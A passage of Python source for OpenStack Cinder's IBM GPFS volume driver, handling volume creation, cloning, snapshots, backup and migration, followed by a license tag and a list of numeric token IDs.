performance, but ' 'improves space utilization. 0 indicates unlimited ' 'clone depth.'), cfg.BoolOpt('gpfs_sparse_volumes', default=True, help=('Specifies that volumes are created as sparse files ' 'which initially consume no space. If set to False, the ' 'volume is created as a fully allocated file, in which ' 'case, creation may take a significantly longer time.')), cfg.StrOpt('gpfs_storage_pool', default='system', help=('Specifies the storage pool that volumes are assigned ' 'to. By default, the system storage pool is used.')), ] CONF = cfg.CONF CONF.register_opts(gpfs_opts) def _different(difference_tuple): """Return true if two elements of a tuple are different.""" if difference_tuple: member1, member2 = difference_tuple return member1 != member2 else: return False def _same_filesystem(path1, path2): """Return true if the two paths are in the same GPFS file system.""" return os.lstat(path1).st_dev == os.lstat(path2).st_dev def _sizestr(size_in_g): """Convert the specified size into a string value.""" return '%sG' % size_in_g class GPFSDriver(driver.VolumeDriver): """Implements volume functions using GPFS primitives. Version history: 1.0.0 - Initial driver 1.1.0 - Add volume retype, refactor volume migration """ VERSION = "1.1.0" def __init__(self, *args, **kwargs): super(GPFSDriver, self).__init__(*args, **kwargs) self.configuration.append_config_values(gpfs_opts) def _get_gpfs_state(self): """Return GPFS state information.""" try: (out, err) = self._execute('mmgetstate', '-Y', run_as_root=True) return out except processutils.ProcessExecutionError as exc: LOG.error(_LE('Failed to issue mmgetstate command, error: %s.'), exc.stderr) raise exception.VolumeBackendAPIException(data=exc.stderr) def _check_gpfs_state(self): """Raise VolumeBackendAPIException if GPFS is not active.""" out = self._get_gpfs_state() lines = out.splitlines() state_token = lines[0].split(':').index('state') gpfs_state = lines[1].split(':')[state_token] if gpfs_state != 'active': LOG.error(_LE('GPFS is not active. Detailed output: %s.'), out) exception_message = (_('GPFS is not running, state: %s.') % gpfs_state) raise exception.VolumeBackendAPIException(data=exception_message) def _get_filesystem_from_path(self, path): """Return filesystem for specified path.""" try: (out, err) = self._execute('df', path, run_as_root=True) lines = out.splitlines() filesystem = lines[1].split()[0] return filesystem except processutils.ProcessExecutionError as exc: LOG.error(_LE('Failed to issue df command for path %(path)s, ' 'error: %(error)s.'), {'path': path, 'error': exc.stderr}) raise exception.VolumeBackendAPIException(data=exc.stderr) def _get_gpfs_cluster_id(self): """Return the id for GPFS cluster being used.""" try: (out, err) = self._execute('mmlsconfig', 'clusterId', '-Y', run_as_root=True) lines = out.splitlines() value_token = lines[0].split(':').index('value') cluster_id = lines[1].split(':')[value_token] return cluster_id except processutils.ProcessExecutionError as exc: LOG.error(_LE('Failed to issue mmlsconfig command, error: %s.'), exc.stderr) raise exception.VolumeBackendAPIException(data=exc.stderr) def _get_fileset_from_path(self, path): """Return the GPFS fileset for specified path.""" fs_regex = re.compile(r'.*fileset.name:\s+(?P<fileset>\w+)', re.S) try: (out, err) = self._execute('mmlsattr', '-L', path, run_as_root=True) except processutils.ProcessExecutionError as exc: LOG.error(_LE('Failed to issue mmlsattr command on path %(path)s, ' 'error: %(error)s'), {'path': path, 'error': exc.stderr}) raise exception.VolumeBackendAPIException(data=exc.stderr) try: fileset = fs_regex.match(out).group('fileset') return fileset except AttributeError as exc: msg = (_('Failed to find fileset for path %(path)s, command ' 'output: %(cmdout)s.') % {'path': path, 'cmdout': out}) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) def _verify_gpfs_pool(self, storage_pool): """Return true if the specified pool is a valid GPFS storage pool.""" try: self._execute('mmlspool', self._gpfs_device, storage_pool, run_as_root=True) return True except processutils.ProcessExecutionError: return False def _update_volume_storage_pool(self, local_path, new_pool): """Set the storage pool for a volume to the specified value.""" if new_pool is None: new_pool = 'system' if not self._verify_gpfs_pool(new_pool): msg = (_('Invalid storage pool %s requested. Retype failed.') % new_pool) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) try: self._execute('mmchattr', '-P', new_pool, local_path, run_as_root=True) LOG.debug('Updated storage pool with mmchattr to %s.', new_pool) return True except processutils.ProcessExecutionError as exc: LOG.info(_LI('Could not update storage pool with mmchattr to ' '%(pool)s, error: %(error)s'), {'pool': new_pool, 'error': exc.stderr}) return False def _get_gpfs_fs_release_level(self, path): """Return the GPFS version of the specified file system. The file system is specified by any valid path it contains. """ filesystem = self._get_filesystem_from_path(path) try: (out, err) = self._execute('mmlsfs', filesystem, '-V', '-Y', run_as_root=True) except processutils.ProcessExecutionError as exc: LOG.error(_LE('Failed to issue mmlsfs command for path %(path)s, ' 'error: %(error)s.'), {'path': path, 'error': exc.stderr}) raise exception.VolumeBackendAPIException(data=exc.stderr) lines = out.splitlines() value_token = lines[0].split(':').index('data') fs_release_level_str = lines[1].split(':')[value_token] # at this point, release string looks like "13.23 (3.5.0.7)" # extract first token and convert to whole number value fs_release_level = int(float(fs_release_level_str.split()[0]) * 100) return filesystem, fs_release_level def _get_gpfs_cluster_release_level(self): """Return the GPFS version of current cluster.""" try: (out, err) = self._execute('mmlsconfig', 'minreleaseLeveldaemon', '-Y', run_as_root=True) except processutils.ProcessExecutionError as exc: LOG.error(_LE('Failed to issue mmlsconfig command, error: %s.'), exc.stderr) raise exception.VolumeBackendAPIException(data=exc.stderr) lines = out.splitlines() value_token = lines[0].split(':').index('value') min_release_level = lines[1].split(':')[value_token] return int(min_release_level) def _is_gpfs_path(self, directory): """Determine if the specified path is in a gpfs file system. If not part of a gpfs file system, raise ProcessExecutionError. """ try: self._execute('mmlsattr', directory, run_as_root=True) except processutils.ProcessExecutionError as exc: LOG.error(_LE('Failed to issue mmlsattr command ' 'for path %(path)s, ' 'error: %(error)s.'), {'path': directory, 'error': exc.stderr}) raise exception.VolumeBackendAPIException(data=exc.stderr) def _is_same_fileset(self, path1, path2): """Return true if the two paths are in the same GPFS fileset.""" if self._get_fileset_from_path(path1) == \ self._get_fileset_from_path(path2): return True return False def _same_cluster(self, host): """Return true if the host is a member of the same GPFS cluster.""" dest_location = host['capabilities'].get('location_info') if self._stats['location_info'] == dest_location: return True return False def _set_rw_permission(self, path, modebits='660'): """Set permission bits for the path.""" self._execute('chmod', modebits, path, run_as_root=True) def _can_migrate_locally(self, host): """Return true if the host can migrate a volume locally.""" if 'location_info' not in host['capabilities']: LOG.debug('Evaluate migration: no location info, ' 'cannot migrate locally.') return None info = host['capabilities']['location_info'] try: (dest_type, dest_id, dest_path) = info.split(':') except ValueError: LOG.debug('Evaluate migration: unexpected location info, ' 'cannot migrate locally: %s.', info) return None if dest_type != 'GPFSDriver' or dest_id != self._cluster_id: LOG.debug('Evaluate migration: different destination driver or ' 'cluster id in location info: %s.', info) return None LOG.debug('Evaluate migration: use local migration.') return dest_path def do_setup(self, ctxt): """Determine storage back end capabilities.""" try: self._cluster_id = self._get_gpfs_cluster_id() except Exception as setup_exception: msg = (_('Could not find GPFS cluster id: %s.') % setup_exception) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) try: gpfs_base = self.configuration.gpfs_mount_point_base self._gpfs_device = self._get_filesystem_from_path(gpfs_base) except Exception as setup_exception: msg = (_('Could not find GPFS file system device: %s.') % setup_exception) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) pool = self.configuration.safe_get('gpfs_storage_pool') self._storage_pool = pool if not self._verify_gpfs_pool(self._storage_pool): msg = (_('Invalid storage pool %s specificed.') % self._storage_pool) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) def check_for_setup_error(self): """Returns an error if prerequisites aren't met.""" self._check_gpfs_state() if self.configuration.gpfs_mount_point_base is None: msg = _('Option gpfs_mount_point_base is not set correctly.') LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) if (self.configuration.gpfs_images_share_mode and self.configuration.gpfs_images_share_mode not in ['copy_on_write', 'copy']): msg = _('Option gpfs_images_share_mode is not set correctly.') LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) if(self.configuration.gpfs_images_share_mode and self.configuration.gpfs_images_dir is None): msg = _('Option gpfs_images_dir is not set correctly.') LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) if(self.configuration.gpfs_images_share_mode == 'copy_on_write' and not _same_filesystem(self.configuration.gpfs_mount_point_base, self.configuration.gpfs_images_dir)): msg = (_('gpfs_images_share_mode is set to copy_on_write, but ' '%(vol)s and %(img)s belong to different file ' 'systems.') % {'vol': self.configuration.gpfs_mount_point_base, 'img': self.configuration.gpfs_images_dir}) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) if(self.configuration.gpfs_images_share_mode == 'copy_on_write' and not self._is_same_fileset(self.configuration.gpfs_mount_point_base, self.configuration.gpfs_images_dir)): msg = (_('gpfs_images_share_mode is set to copy_on_write, but ' '%(vol)s and %(img)s belong to different filesets.') % {'vol': self.configuration.gpfs_mount_point_base, 'img': self.configuration.gpfs_images_dir}) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) _gpfs_cluster_release_level = self._get_gpfs_cluster_release_level() if not _gpfs_cluster_release_level >= GPFS_CLONE_MIN_RELEASE: msg = (_('Downlevel GPFS Cluster Detected. GPFS Clone feature ' 'not enabled in cluster daemon level %(cur)s - must ' 'be at least at level %(min)s.') % {'cur': _gpfs_cluster_release_level, 'min': GPFS_CLONE_MIN_RELEASE}) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) for directory in [self.configuration.gpfs_mount_point_base, self.configuration.gpfs_images_dir]: if directory is None: continue if not directory.startswith('/'): msg = (_('%s must be an absolute path.') % directory) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) if not os.path.isdir(directory): msg = (_('%s is not a directory.') % directory) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) # Check if GPFS is mounted self._verify_gpfs_path_state(directory) filesystem, fslevel = \ self._get_gpfs_fs_release_level(directory) if not fslevel >= GPFS_CLONE_MIN_RELEASE: msg = (_('The GPFS filesystem %(fs)s is not at the required ' 'release level. Current level is %(cur)s, must be ' 'at least %(min)s.') % {'fs': filesystem, 'cur': fslevel, 'min': GPFS_CLONE_MIN_RELEASE}) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg) def _create_sparse_file(self, path, size): """Creates file with 0 disk usage.""" sizestr = _sizestr(size) self._execute('truncate', '-s', sizestr, path, run_as_root=True) def _allocate_file_blocks(self, path, size): """Preallocate file blocks by writing zeros.""" block_size_mb = 1 block_count = size * units.Gi / (block_size_mb * units.Mi) self._execute('dd', 'if=/dev/zero', 'of=%s' % path, 'bs=%dM' % block_size_mb, 'count=%d' % block_count, run_as_root=True) def _gpfs_change_attributes(self, options, path): """Update GPFS attributes on the specified file.""" cmd = ['mmchattr'] cmd.extend(options) cmd.append(path) LOG.debug('Update volume attributes with mmchattr to %s.', options) self._execute(*cmd, run_as_root=True) def _set_volume_attributes(self, volume, path, metadata): """Set various GPFS attributes for this volume.""" set_pool = False options = [] for item in metadata: if item['key'] == 'data_pool_name': options.extend(['-P', item['value']]) set_pool = True elif item['key'] == 'replicas': options.extend(['-r', item['value'], '-m', item['value']]) elif item['key'] == 'dio': options.extend(['-D', item['value']]) elif item['key'] == 'write_affinity_depth': options.extend(['--write-affinity-depth', item['value']]) elif item['key'] == 'block_group_factor': options.extend(['--block-group-factor', item['value']]) elif item['key'] == 'write_affinity_failure_group': options.extend(['--write-affinity-failure-group', item['value']]) # metadata value has precedence over value set in volume type if self.configuration.gpfs_storage_pool and not set_pool: options.extend(['-P', self.configuration.gpfs_storage_pool]) if options: self._gpfs_change_attributes(options, path) fstype = None fslabel = None for item in metadata: if item['key'] == 'fstype': fstype = item['value'] elif item['key'] == 'fslabel': fslabel = item['value'] if fstype: self._mkfs(volume, fstype, fslabel) def create_volume(self, volume): """Creates a GPFS volume.""" # Check if GPFS is mounted self._verify_gpfs_path_state(self.configuration.gpfs_mount_point_base) volume_path = self.local_path(volume) volume_size = volume['size'] # Create a sparse file first; allocate blocks later if requested self._create_sparse_file(volume_path, volume_size) self._set_rw_permission(volume_path) # Set the attributes prior to allocating any blocks so that # they are allocated according to the policy v_metadata = volume.get('volume_metadata') self._set_volume_attributes(volume, volume_path, v_metadata) if not self.configuration.gpfs_sparse_volumes: self._allocate_file_blocks(volume_path, volume_size) def create_volume_from_snapshot(self, volume, snapshot): """Creates a GPFS volume from a snapshot.""" volume_path = self.local_path(volume) snapshot_path = self.local_path(snapshot) self._create_gpfs_copy(src=snapshot_path, dest=volume_path) self._set_rw_permission(volume_path) self._gpfs_redirect(volume_path) v_metadata = volume.get('volume_metadata') self._set_volume_attributes(volume, volume_path, v_metadata) virt_size = self._resize_volume_file(volume, volume['size']) return {'size': math.ceil(virt_size / units.Gi)} def create_cloned_volume(self, volume, src_vref): """Create a GPFS volume from another volume.""" src = self.local_path(src_vref) dest = self.local_path(volume) self._create_gpfs_clone(src, dest) self._set_rw_permission(dest) v_metadata = volume.get('volume_metadata') self._set_volume_attributes(volume, dest, v_metadata) virt_size = self._resize_volume_file(volume, volume['size']) return {'size': math.ceil(virt_size / units.Gi)} def _delete_gpfs_file(self, fchild): """Delete a GPFS file and cleanup clone children.""" if not os.path.exists(fchild): return (out, err) = self._execute('mmclone', 'show', fchild, run_as_root=True) fparent = None inode_regex = re.compile( r'.*\s+(?:yes|no)\s+\d+\s+(?P<inode>\d+)', re.M | re.S) match = inode_regex.match(out) if match: inode = match.group('inode') path = os.path.dirname(fchild) (out, err) = self._execute('find', path, '-maxdepth', '1', '-inum', inode, run_as_root=True) if out: fparent = out.split('\n', 1)[0] self._execute( 'rm', '-f', fchild, check_exit_code=False, run_as_root=True) # There is no need to check for volume references on this snapshot # because 'rm -f' itself serves as a simple and implicit check. If the # parent is referenced by another volume, GPFS doesn't allow deleting # it. 'rm -f' silently fails and the subsequent check on the path # indicates whether there are any volumes derived from that snapshot. # If there are such volumes, we quit recursion and let the other # volumes delete the snapshot later. If there are no references, rm # would succeed and the snapshot is deleted. if not os.path.exists(fchild) and fparent: fpbase = os.path.basename(fparent) if fpbase.endswith('.snap') or fpbase.endswith('.ts'): self._delete_gpfs_file(fparent) def delete_volume(self, volume): """Deletes a logical volume.""" # Check if GPFS is mounted self._verify_gpfs_path_state(self.configuration.gpfs_mount_point_base) volume_path = self.local_path(volume) self._delete_gpfs_file(volume_path) def _gpfs_redirect(self, src): """Removes the copy_on_write dependency between src and parent. Remove the copy_on_write dependency between the src file and its immediate parent such that the length of dependency chain is reduced by 1. """ max_depth = self.configuration.gpfs_max_clone_depth if max_depth == 0: return False (out, err) = self._execute('mmclone', 'show', src, run_as_root=True) depth_regex = re.compile(r'.*\s+no\s+(?P<depth>\d+)', re.M | re.S) match = depth_regex.match(out) if match: depth = int(match.group('depth')) if depth > max_depth: self._execute('mmclone', 'redirect', src, run_as_root=True) return True return False def _create_gpfs_clone(self, src, dest): """Create a GPFS file clone parent for the specified file.""" snap = dest + ".snap" self._create_gpfs_snap(src, snap) self._create_gpfs_copy(snap, dest) if self._gpfs_redirect(src) and self._gpfs_redirect(dest): self._execute('rm', '-f', snap, run_as_root=True) def _create_gpfs_copy(self, src, dest): """Create a GPFS file clone copy for the specified file.""" self._execute('mmclone', 'copy', src, dest, run_as_root=True) def _create_gpfs_snap(self, src, dest=None): """Create a GPFS file clone snapshot for the specified file.""" if dest is None: self._execute('mmclone', 'snap', src, run_as_root=True) else: self._execute('mmclone', 'snap', src, dest, run_as_root=True) def _is_gpfs_parent_file(self, gpfs_file): """Return true if the specified file is a gpfs clone parent.""" out, err = self._execute('mmclone', 'show', gpfs_file, run_as_root=True) ptoken = out.splitlines().pop().split()[0] return ptoken == 'yes' def create_snapshot(self, snapshot): """Creates a GPFS snapshot.""" snapshot_path = self.local_path(snapshot) volume_path = os.path.join(self.configuration.gpfs_mount_point_base, snapshot['volume_name']) self._create_gpfs_snap(src=volume_path, dest=snapshot_path) self._set_rw_permission(snapshot_path, modebits='640') self._gpfs_redirect(volume_path) def delete_snapshot(self, snapshot): """Deletes a GPFS snapshot.""" # Rename the deleted snapshot to indicate it no longer exists in # cinder db. Attempt to delete the snapshot. If the snapshot has # clone children, the delete will fail silently. When volumes that # are clone children are deleted in the future, the remaining ts # snapshots will also be deleted. snapshot_path = self.local_path(snapshot) snapshot_ts_path = '%s.ts' % snapshot_path self._execute('mv', snapshot_path, snapshot_ts_path, run_as_root=True) self._execute('rm', '-f', snapshot_ts_path, check_exit_code=False, run_as_root=True) def local_path(self, volume): """Return the local path for the specified volume.""" return os.path.join(self.configuration.gpfs_mount_point_base, volume['name']) def ensure_export(self, context, volume): """Synchronously recreates an export for a logical volume.""" pass def create_export(self, context, volume): """Exports the volume.""" pass def remove_export(self, context, volume): """Removes an export for a logical volume.""" pass def initialize_connection(self, volume, connector): return { 'driver_volume_type': 'gpfs', 'data': { 'name': volume['name'], 'device_path': self.local_path(volume), } } def terminate_connection(self, volume, connector, **kwargs): pass def get_volume_stats(self, refresh=False): """Get volume stats. If 'refresh' is True, or stats have never been updated, run update the stats first. """ if not self._stats or refresh: self._update_volume_stats() return self._stats def _update_volume_stats(self): """Retrieve stats info from volume group.""" LOG.debug("Updating volume stats.") gpfs_base = self.configuration.gpfs_mount_point_base data = {} backend_name = self.configuration.safe_get('volume_backend_name') data["volume_backend_name"] = backend_name or 'GPFS' data["vendor_name"] = 'IBM' data["driver_version"] = self.VERSION data["storage_protocol"] = 'file' free, capacity = self._get_available_capacity(self.configuration. gpfs_mount_point_base) data['total_capacity_gb'] = math.ceil(capacity / units.Gi) data['free_capacity_gb'] = math.ceil(free / units.Gi) data['reserved_percentage'] = 0 data['QoS_support'] = False data['storage_pool'] = self._storage_pool data['location_info'] = ('GPFSDriver:%(cluster_id)s:%(root_path)s' % {'cluster_id': self._cluster_id, 'root_path': gpfs_base}) data['reserved_percentage'] = 0 self._stats = data def clone_image(self, context, volume, image_location, image_meta, image_service): """Create a volume from the specified image.""" return self._clone_image(volume, image_location, image_meta['id']) def _is_cloneable(self, image_id): """Return true if the specified image can be cloned by GPFS.""" if not((self.configuration.gpfs_images_dir and self.configuration.gpfs_images_share_mode)): reason = 'glance repository not configured to use GPFS' return False, reason, None image_path = os.path.join(self.configuration.gpfs_images_dir, image_id) try: self._is_gpfs_path(image_path) except processutils.ProcessExecutionError: reason = 'image file not in GPFS' return False, reason, None return True, None, image_path def _clone_image(self, volume, image_location, image_id): """Attempt to create a volume by efficiently copying image to volume. If both source and target are backed by gpfs storage and the source image is in raw format move the image to create a volume using either gpfs clone operation or with a file copy. If the image format is not raw, convert it to raw at the volume path. """ # Check if GPFS is mounted self._verify_gpfs_path_state(self.configuration.gpfs_mount_point_base) cloneable_image, reason, image_path = self._is_cloneable(image_id) if not cloneable_image: LOG.debug('Image %(img)s not cloneable: %(reas)s.', {'img': image_id, 'reas': reason}) return (None, False) vol_path = self.local_path(volume) data = image_utils.qemu_img_info(image_path) # if image format is already raw either clone it or # copy it depending on config file settings if data.file_format == 'raw': if (self.configuration.gpfs_images_share_mode == 'copy_on_write'): LOG.debug('Clone image to vol %s using mmclone.', volume['id']) # if the image is not already a GPFS snap file make it so if not self._is_gpfs_parent_file(image_path): self._create_gpfs_snap(image_path) self._create_gpfs_copy(image_path, vol_path) elif self.configuration.gpfs_images_share_mode == 'copy': LOG.debug('Clone image to vol %s using copyfile.', volume['id']) shutil.copyfile(image_path, vol_path) # if image is not raw convert it to raw into vol_path destination else: LOG.debug('Clone image to vol %s using qemu convert.', volume['id']) image_utils.convert_image(image_path, vol_path, 'raw') self._set_rw_permission(vol_path) self._resize_volume_file(volume, volume['size']) return {'provider_location': None}, True def copy_image_to_volume(self, context, volume, image_service, image_id): """Fetch the image from image_service and write it to the volume. Note that cinder.volume.flows.create_volume will attempt to use clone_image to efficiently create volume from image when both source and target are backed by gpfs storage. If that is not the case, this function is invoked and uses fetch_to_raw to create the volume. """ # Check if GPFS is mounted self._verify_gpfs_path_state(self.configuration.gpfs_mount_point_base) LOG.debug('Copy image to vol %s using image_utils fetch_to_raw.', volume['id']) image_utils.fetch_to_raw(context, image_service, image_id, self.local_path(volume), self.configuration.volume_dd_blocksize, size=volume['size']) self._resize_volume_file(volume, volume['size']) def _resize_volume_file(self, volume, new_size): """Resize volume file to new size.""" vol_path = self.local_path(volume) try: image_utils.resize_image(vol_path, new_size, run_as_root=True) except processutils.ProcessExecutionError as exc: LOG.error(_LE("Failed to resize volume " "%(volume_id)s, error: %(error)s."), {'volume_id': volume['id'], 'error': exc.stderr}) raise exception.VolumeBackendAPIException(data=exc.stderr) data = image_utils.qemu_img_info(vol_path) return data.virtual_size def extend_volume(self, volume, new_size): """Extend an existing volume.""" self._resize_volume_file(volume, new_size) def copy_volume_to_image(self, context, volume, image_service, image_meta): """Copy the volume to the specified image.""" image_utils.upload_volume(context, image_service, image_meta, self.local_path(volume)) def backup_volume(self, context, backup, backup_service): """Create a new backup from an existing volume.""" volume = self.db.volume_get(context, backup['volume_id']) volume_path = self.local_path(volume) LOG.debug('Begin backup of volume %s.', volume['name']) # create a snapshot that will be used as the backup source backup_path = '%s_%s' % (volume_path, backup['id']) self._create_gpfs_clone(volume_path, backup_path) self._gpfs_redirect(volume_path) try: with utils.temporary_chown(backup_path): with fileutils.file_open(backup_path) as backup_file: backup_service.backup(backup, backup_file) finally: # clean up snapshot file. If it is a clone parent, delete # will fail silently, but be cleaned up when volume is # eventually removed. This ensures we do not accumulate # more than gpfs_max_clone_depth snap files. self._delete_gpfs_file(backup_path) def restore_backup(self, context, backup, volume, backup_service): """Restore an existing backup to a new or existing volume.""" LOG.debug('Begin restore of backup %s.', backup['id']) volume_path = self.local_path(volume) with utils.temporary_chown(volume_path): with fileutils.file_open(volume_path, 'wb') as volume_file: backup_service.restore(backup, volume['id'], volume_file) def _migrate_volume(self, volume, host): """Migrate vol if source and dest are managed by same GPFS cluster.""" LOG.debug('Migrate volume request %(vol)s to %(host)s.', {'vol': volume['name'], 'host': host['host']}) dest_path = self._can_migrate_locally(host) if dest_path is None: LOG.debug('Cannot migrate volume locally, use generic migration.') return (False, None) if dest_path == self.configuration.gpfs_mount_point_base: LOG.debug('Migration target is same cluster and path, ' 'no work needed.') return (True, None) LOG.debug('Migration target is same cluster but different path, ' 'move the volume file.') local_path = self.local_path(volume) new_path = os.path.join(dest_path, volume['name']) try: self._execute('mv', local_path, new_path, run_as_root=True) return (True, None) except processutils.ProcessExecutionError as exc: LOG.error(_LE('Driver-based migration of volume %(vol)s failed. ' 'Move from %(src)s to %(dst)s failed with error: ' '%(error)s.'), {'vol': volume['name'], 'src': local_path, 'dst': new_path, 'error': exc.stderr}) return (False, None) def migrate_volume(self, context, volume, host): """Attempt to migrate a volume to specified host.""" return self._migrate_volume(volume, host) def retype(self, context, volume, new_type, diff, host): """Modify volume to be of new type.""" LOG.debug('Retype volume request %(vol)s to be %(type)s ' '(host: %(host)s), diff %(diff)s.', {'vol': volume['name'], 'type': new_type, 'host': host, 'diff': diff}) retyped = False migrated = False pools = diff['extra_specs'].get('capabilities:storage_pool') backends = diff['extra_specs'].get('volume_backend_name') hosts = (volume['host'], host['host']) # if different backends let migration create a new volume and copy # data because the volume is considered to be substantially different if _different(backends): backend1, backend2 = backends LOG.debug('Retype request is for different backends, ' 'use migration: %(backend1)s %(backend2)s.', {'backend1': backend1, 'backend2': backend1}) return False if _different(pools): old, new = pools LOG.debug('Retype pool attribute from %(old)s to %(new)s.', {'old': old, 'new': new}) retyped = self._update_volume_storage_pool(self.local_path(volume), new) if _different(hosts): source, destination = hosts LOG.debug('Retype hosts migrate from: %(source)s to ' '%(destination)s.', {'source': source, 'destination': destination}) migrated, mdl_update = self._migrate_volume(volume, host) if migrated: updates = {'host': host['host']} self.db.volume_update(context, volume['id'], updates) return retyped or migrated def _mkfs(self, volume, filesystem, label=None): """Initialize volume to be specified filesystem type.""" if filesystem == 'swap': cmd = ['mkswap'] else: cmd = ['mkfs', '-t', filesystem] if filesystem in ('ext3', 'ext4'): cmd.append('-F') if label: if filesystem in ('msdos', 'vfat'): label_opt = '-n' else: label_opt = '-L' cmd.extend([label_opt, label]) path = self.local_path(volume) cmd.append(path) try: self._execute(*cmd, run_as_root=True) except processutils.ProcessExecutionError as exc: exception_message = (_("mkfs failed on volume %(vol)s, " "error message was: %(err)s.") % {'vol': volume['name'], 'err': exc.stderr}) LOG.error(exception_message) raise exception.VolumeBackendAPIException( data=exception_message) def _get_available_capacity(self, path): """Calculate available space on path.""" # Check if GPFS is mounted try: self._verify_gpfs_path_state(path) mounted = True except exception.VolumeBackendAPIException: mounted = False # If GPFS is not mounted, return zero capacity. So that the volume # request can be scheduled to another volume service. if not mounted: return 0, 0 out, err = self._execute('df', '-P', '-B', '1', path, run_as_root=True) out = out.splitlines()[1] size = int(out.split()[1]) available = int(out.split()[3]) return available, size def _verify_gpfs_path_state(self, path): """Examine if GPFS is active and file system is mounted or not.""" try: self._is_gpfs_path(path) except processutils.ProcessExecutionError: msg = (_('%s cannot be accessed. Verify that GPFS is active and ' 'file system is mounted.') % path) LOG.error(msg) raise exception.VolumeBackendAPIException(data=msg)
apache-2.0
[ 3, 1898, 26202, 22304, 14, 6171, 2900, 5924, 5702, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 624, 199, 8225, 7079, 15018, 19447, 14, 199, 199, 624, 199, 646, 3473, 199, 646, 747, 199, 646, 295, 199, 646, 5145, 199, 199, 504, 11258, 14, 1208, 492, 6204, 199, 504, 11258, 63, 27518, 492, 2112, 1208, 199, 504, 11258, 63, 888, 492, 4810, 199, 199, 504, 13069, 492, 1919, 199, 504, 13069, 14, 73, 1085, 78, 492, 5501, 485, 906, 12, 485, 2673, 199, 504, 13069, 14, 1569, 492, 1834, 63, 1208, 199, 504, 13069, 14, 8512, 14, 2330, 492, 570, 1208, 199, 504, 13069, 14, 8512, 14, 2330, 492, 943, 465, 2050, 199, 504, 13069, 492, 3778, 199, 504, 13069, 14, 2405, 492, 5253, 199, 199, 8225, 7079, 63, 1981, 4817, 63, 4896, 63, 19736, 275, 413, 1840, 199, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 24257, 63, 3291, 275, 359, 272, 4810, 14, 19340, 360, 24257, 63, 3956, 63, 1403, 63, 1095, 297, 2049, 849, 29, 403, 12, 2049, 1720, 534, 6154, 5604, 314, 931, 402, 314, 17346, 7079, 2082, 2382, 8651, 283, 490, 283, 6408, 3301, 436, 5740, 1584, 787, 5489, 8038, 272, 4810, 14, 19340, 360, 24257, 63, 4782, 63, 694, 297, 2049, 849, 29, 403, 12, 2049, 1720, 534, 6154, 5604, 314, 931, 402, 314, 6047, 2435, 7611, 315, 283, 490, 283, 8225, 7079, 14, 221, 28015, 10942, 340, 440, 16915, 5935, 315, 17346, 7079, 8038, 272, 4810, 14, 19340, 360, 24257, 63, 4782, 63, 6251, 63, 632, 297, 2049, 849, 29, 403, 12, 2049, 1720, 534, 6154, 5604, 314, 730, 402, 1834, 1331, 370, 506, 1202, 14, 221, 2494, 642, 283, 490, 283, 6526, 314, 6047, 2435, 7611, 2597, 4440, 17346, 7079, 880, 283, 490, 283, 9099, 1834, 1584, 883, 506, 1752, 5057, 30427, 687, 283, 490, 283, 1589, 6047, 2435, 370, 314, 8651, 10533, 2435, 14, 6006, 283, 490, 283, 1530, 2877, 1686, 1338, 26, 298, 1574, 2, 9314, 626, 282, 2615, 1331, 283, 490, 283, 1618, 314, 1834, 365, 6326, 27, 298, 1574, 63, 265, 63, 952, 2, 9314, 626, 283, 490, 283, 1574, 13, 265, 13, 952, 13712, 10054, 365, 1202, 436, 283, 490, 283, 324, 5540, 5664, 402, 314, 1834, 570, 787, 5709, 283, 490, 283, 21069, 590, 8038, 272, 4810, 14, 3241, 9985, 360, 24257, 63, 988, 63, 6311, 63, 4631, 297, 2049, 849, 29, 16, 12, 2049, 1720, 534, 6154, 5604, 376, 7008, 2304, 641, 314, 1329, 402, 2539, 14998, 283, 490, 283, 2427, 370, 12276, 282, 2488, 1853, 7037, 370, 19076, 503, 283, 490, 283, 429, 4548, 14, 221, 437, 2582, 89, 6036, 402, 1331, 13, 265, 13, 952, 19076, 503, 283, 490, 283, 429, 4548, 883, 1172, 282, 6946, 25568, 641, 10238, 12, 1325, 283, 490, 283, 3236, 293, 2310, 4601, 7678, 25698, 14, 221, 378, 9126, 625, 14136, 283, 490, 283, 6311, 5818, 8038, 272, 4810, 14, 10349, 9985, 360, 24257, 63, 4421, 63, 8838, 297, 355, 849, 29, 549, 12, 355, 1720, 7782, 6154, 5604, 626, 12158, 787, 2737, 465, 5178, 1584, 283, 1993, 283, 6777, 22801, 9451, 949, 4601, 14, 982, 663, 370, 756, 12, 314, 283, 1993, 283, 2405, 365, 2737, 465, 282, 9999, 17659, 570, 12, 315, 1314, 283, 1993, 283, 2546, 12, 7143, 1443, 5452, 282, 16474, 590, 8088, 900, 2659, 395, 272, 4810, 14, 19340, 360, 24257, 63, 3494, 63, 2293, 297, 2049, 849, 534, 2253, 297, 2049, 1720, 7782, 6154, 5604, 314, 4887, 4203, 626, 12158, 787, 7943, 283, 2151, 283, 475, 14, 4885, 849, 12, 314, 2656, 4887, 